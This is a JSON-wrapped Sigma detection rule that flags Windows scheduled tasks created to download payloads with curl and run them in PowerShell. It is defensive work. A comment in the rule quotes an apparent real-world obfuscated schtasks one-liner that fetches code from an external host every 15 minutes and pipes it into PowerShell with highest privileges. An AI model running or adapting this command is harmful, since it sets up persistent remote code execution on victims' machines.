{"id":"1d174d38-8fda-4081-a9b6-56d9763c0cd8","title":"Scheduled Task Creation with Curl and PowerShell Execution Combo","description":"Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.\nThis facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.\n","author":"Swachchhanda Shrawan Poudel (Nextron Systems)","status":"experimental","level":"medium","date":"2025-02-05","modified":"","tags":["attack.privilege-escalation","attack.execution","attack.persistence","attack.stealth","attack.t1053.005","attack.t1218","attack.command-and-control","attack.t1105"],"technique_ids":["T1053.005","T1105","T1218"],"logsource":{"category":"process_creation","product":"windows"},"falsepositives":["Legitimate use of schtasks for administrative purposes.","Automation scripts combining curl and PowerShell in controlled environments."],"references":["https://tria.ge/241015-l98snsyeje/behavioral2"],"source_path":"rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml","source_sha256":"283b61169d2df3ff79483407400fd4d1f93a4d44e7d56652451edb7567abf3d0","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: Scheduled Task Creation with Curl and PowerShell Execution Combo\nid: 1d174d38-8fda-4081-a9b6-56d9763c0cd8\nstatus: experimental\ndescription: |\n    Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.\n    This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.\nreferences:\n    - https://tria.ge/241015-l98snsyeje/behavioral2\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\ndate: 2025-02-05\ntags:\n    - attack.privilege-escalation\n    - attack.execution\n    - attack.persistence\n    - attack.stealth\n    - attack.t1053.005\n    - attack.t1218\n    - attack.command-and-control\n    - attack.t1105\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr \"conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell\" /rl Highest\n    selection_img:\n        Image|endswith: '\\schtasks.exe'\n        CommandLine|contains|windash: ' /create '\n    selection_curl:\n        CommandLine|contains|all:\n            - 'curl '\n            - 'http'\n            - '-o'\n    selection_powershell:\n        CommandLine|contains: 'powershell'\n    condition: all of selection_*\nfalsepositives:\n    - Legitimate use of schtasks for administrative purposes.\n    - Automation scripts combining curl and PowerShell in controlled environments.\nlevel: medium\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1053.005","id":"T1053.005","name":"Scheduled Task","page":"techniques/enterprise/T1053.005/"},{"key":"enterprise/T1105","id":"T1105","name":"Ingress Tool Transfer","page":"techniques/enterprise/T1105/"},{"key":"enterprise/T1218","id":"T1218","name":"System Binary Proxy Execution","page":"techniques/enterprise/T1218/"}],"data_path":"data/detection-rules/1d174d38-8fda-4081-a9b6-56d9763c0cd8.json","kind":"sigma"}
